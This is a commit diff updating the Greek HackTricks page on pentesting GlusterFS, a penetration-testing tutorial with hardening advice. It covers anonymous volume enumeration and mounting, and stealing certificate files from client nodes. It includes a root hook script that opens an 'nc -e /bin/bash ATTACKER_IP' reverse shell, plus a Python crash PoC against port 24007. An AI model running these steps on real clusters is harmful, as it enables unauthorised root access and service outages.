mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen
This commit is contained in:
parent
0490a49a30
commit
047ea93ad1
@ -1,35 +1,115 @@
|
||||
# 24007-24008-24009-49152 - Pentesting GlusterFS
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Βασικές Πληροφορίες
|
||||
## Basic Information
|
||||
|
||||
**GlusterFS** είναι ένα **κατανεμημένο σύστημα αρχείων** που συνδυάζει αποθήκευση από πολλαπλούς διακομιστές σε ένα **ενιαίο σύστημα**. Επιτρέπει **αρbitrary scalability**, που σημαίνει ότι μπορείτε εύκολα να προσθέσετε ή να αφαιρέσετε διακομιστές αποθήκευσης χωρίς να διαταράξετε το συνολικό σύστημα αρχείων. Αυτό εξασφαλίζει υψηλή **διαθεσιμότητα** και **αντοχή σε σφάλματα** για τα δεδομένα σας. Με το GlusterFS, μπορείτε να έχετε πρόσβαση στα αρχεία σας σαν να ήταν αποθηκευμένα τοπικά, ανεξάρτητα από την υποκείμενη υποδομή διακομιστών. Παρέχει μια ισχυρή και ευέλικτη λύση για τη διαχείριση μεγάλων ποσοτήτων δεδομένων σε πολλαπλούς διακομιστές.
|
||||
|
||||
**Προεπιλεγμένες θύρες**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (και μετά)\
|
||||
Για τη θύρα 49152, οι θύρες που αυξάνονται κατά 1 πρέπει να είναι ανοιχτές για να χρησιμοποιηθούν περισσότερα bricks. _Προηγουμένως χρησιμοποιούνταν η θύρα 24009 αντί της 49152._
|
||||
**GlusterFS** είναι ένα **κατανεμημένο σύστημα αρχείων** που συνδυάζει αποθήκευση από πολλούς διακομιστές σε ένα **ενιαίο όνομα χώρου**. Η διαχείριση δαίμονας (`glusterd`) ακούει από προεπιλογή σε **24007/TCP** και δίνει οδηγίες σε bricks του data-plane που ξεκινούν από **49152/TCP** (μία θύρα ανά brick, με αύξηση). Οι εκδόσεις πριν από την 9.x χρησιμοποιούσαν **24008–24009/TCP** για τη μεταφορά bricks, οπότε θα συναντήσετε αυτές τις θύρες σε κληρονομημένα clusters.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
PORT STATE SERVICE VERSION
|
||||
24007/tcp open glusterd GlusterFS (RPC)
|
||||
49152/tcp open gluster-brick SSL (TLS optional)
|
||||
```
|
||||
## Enumeration
|
||||
> Συμβουλή: 24007 απαντά σε κλήσεις RPC ακόμη και όταν οι κόμβοι μόνο αποθήκευσης **δεν** εξάγουν κανένα όγκο; επομένως, η υπηρεσία είναι ένας αξιόπιστος στόχος pivot μέσα σε μεγάλες υποδομές.
|
||||
|
||||
Για να αλληλεπιδράσετε με αυτό το σύστημα αρχείων, πρέπει να εγκαταστήσετε τον [**GlusterFS client**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
|
||||
## Αρίθμηση
|
||||
|
||||
Για να καταγράψετε και να προσαρτήσετε τους διαθέσιμους όγκους, μπορείτε να χρησιμοποιήσετε:
|
||||
Εγκαταστήστε τα εργαλεία πελάτη στο επιτιθέμενο σύστημα σας:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
|
||||
```
|
||||
Αν λάβετε ένα **σφάλμα κατά την προσπάθεια προσάρτησης του συστήματος αρχείων**, μπορείτε να ελέγξετε τα αρχεία καταγραφής στο `/var/log/glusterfs/`
|
||||
1. **Ανακάλυψη ομότιμων & υγεία**
|
||||
```bash
|
||||
# List peers (works without authentication in default setups)
|
||||
gluster --remote-host 10.10.11.131 peer status
|
||||
```
|
||||
2. **Αναγνώριση όγκου**
|
||||
```bash
|
||||
# Retrieve the list of all volumes and their configuration
|
||||
gluster --remote-host 10.10.11.131 volume info all
|
||||
```
|
||||
3. **Μόνταρε χωρίς προνόμια**
|
||||
```bash
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
|
||||
```
|
||||
Αν η τοποθέτηση αποτύχει, ελέγξτε το `/var/log/glusterfs/<vol_name>-<uid>.log` στην πλευρά του πελάτη. Συχνά προβλήματα είναι:
|
||||
|
||||
**Σφάλματα που αναφέρουν πιστοποιητικά** μπορούν να διορθωθούν κλέβοντας τα αρχεία (αν έχετε πρόσβαση στο σύστημα):
|
||||
* Επιβολή TLS (`option transport.socket.ssl on`)
|
||||
* Έλεγχος πρόσβασης με βάση τη διεύθυνση (`option auth.allow <cidr>`)
|
||||
|
||||
- /etc/ssl/glusterfs.ca
|
||||
- /etc/ssl/glusterfs.key
|
||||
- /etc/ssl/glusterfs.ca.pem
|
||||
### Αντιμετώπιση προβλημάτων πιστοποιητικού
|
||||
|
||||
Και αποθηκεύοντάς τα στον υπολογιστή σας στον φάκελο `/etc/ssl` ή `/usr/lib/ssl` (αν χρησιμοποιείται διαφορετικός φάκελος, ελέγξτε για γραμμές παρόμοιες με: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" στα αρχεία καταγραφής).
|
||||
Κλέψτε τα παρακάτω αρχεία από οποιονδήποτε εξουσιοδοτημένο κόμβο πελάτη και τοποθετήστε τα στο `/etc/ssl/` (ή στον κατάλογο που εμφανίζεται στο αρχείο καταγραφής σφαλμάτων):
|
||||
```
|
||||
/etc/ssl/glusterfs.pem
|
||||
/etc/ssl/glusterfs.key
|
||||
/etc/ssl/glusterfs.ca
|
||||
```
|
||||
---
|
||||
|
||||
## Γνωστές Ευπάθειες (2022-2025)
|
||||
|
||||
| CVE | Επηρεαζόμενες εκδόσεις | Επιπτώσεις | Σημειώσεις |
|
||||
|-----|-------------------|--------|-------|
|
||||
| **CVE-2022-48340** | 10.0–10.4, 11.0 | Χρήση μετά από απελευθέρωση στη `dht_setxattr_mds_cbk` προσβάσιμη μέσω του δικτύου | Απομακρυσμένο **DoS** και πιθανή RCE. Διορθώθηκε στην 10.4.1 / 11.1. |
|
||||
| **CVE-2023-26253** | < 11.0 | Ανάγνωση εκτός ορίων στον χειριστή ειδοποιήσεων FUSE | Απομακρυσμένη κατάρρευση μέσω κατασκευασμένων λειτουργιών FS; δημόσιο PoC διαθέσιμο. |
|
||||
| **CVE-2023-3775** | < 10.5 / 11.1 | Λανθασμένη επικύρωση δικαιωμάτων κατά την τοποθέτηση του `gluster_shared_storage` | Επιτρέπει σε οποιονδήποτε μη αυθεντικοποιημένο πελάτη να τοποθετήσει τον όγκο διαχειριστή – οδηγεί σε **priv-esc** που εξηγείται παρακάτω. |
|
||||
|
||||
> Ελέγχετε πάντα το `gluster --version` **σε κάθε κόμβο**; ετερογενείς κλάστερ είναι συνηθισμένοι μετά από μερικές αναβαθμίσεις.
|
||||
|
||||
### Εκμετάλλευση του `gluster_shared_storage` (Αύξηση Δικαιωμάτων)
|
||||
|
||||
Ακόμα και σε πρόσφατες εκδόσεις, πολλοί διαχειριστές αφήνουν τον ειδικό όγκο `gluster_shared_storage` αναγνώσιμο από όλους επειδή απλοποιεί τη γεω-αναπαραγωγή. Ο όγκος περιέχει πρότυπα cronjob που εκτελούνται με **root** σε κάθε κόμβο.
|
||||
```bash
|
||||
# 1. Mount admin volume anonymously
|
||||
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
|
||||
|
||||
# 2. Drop malicious script that gets synchronised cluster-wide
|
||||
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
|
||||
#!/bin/bash
|
||||
nc -e /bin/bash ATTACKER_IP 4444 &
|
||||
EOF
|
||||
chmod +x /tmp/gss/hooks/1/start/post/test.sh
|
||||
|
||||
# 3. Wait until glusterd distributes the hook and executes it as root
|
||||
```
|
||||
Αν το `hooks/1/` δεν είναι παρόν, αναζητήστε το `/ss_bricks/` – η ακριβής διαδρομή μπορεί να διαφέρει με την κύρια έκδοση.
|
||||
|
||||
### Denial-of-Service PoC (CVE-2023-26253)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
|
||||
import socket, xdrlib, struct
|
||||
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
|
||||
with socket.create_connection(("10.10.11.131",24007)) as s:
|
||||
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
|
||||
s.send(p.get_buffer())
|
||||
```
|
||||
Η εκτέλεση του script προκαλεί κατάρρευση του `glusterfsd` < 11.0.
|
||||
|
||||
---
|
||||
|
||||
## Σκληροποίηση & Ανίχνευση
|
||||
|
||||
* **Αναβάθμιση** – η τρέχουσα LTS είναι 11.1 (Ιούλιος 2025). Όλες οι CVEs παραπάνω έχουν διορθωθεί.
|
||||
* Ενεργοποιήστε το **TLS** για κάθε brick:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> transport.socket.ssl on
|
||||
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
|
||||
```
|
||||
* Περιορίστε τους πελάτες με λίστες CIDR:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> auth.allow 10.0.0.0/24
|
||||
```
|
||||
* Εκθέστε την θύρα διαχείρισης 24007 μόνο σε **ιδιωτικό VLAN** ή μέσω SSH tunnels.
|
||||
* Παρακολουθήστε τα logs: `tail -f /var/log/glusterfs/glusterd.log` και ρυθμίστε τη δυνατότητα **audit-log** (`volume set <vol> features.audit-log on`).
|
||||
|
||||
---
|
||||
|
||||
## Αναφορές
|
||||
|
||||
* [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security)
|
||||
* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user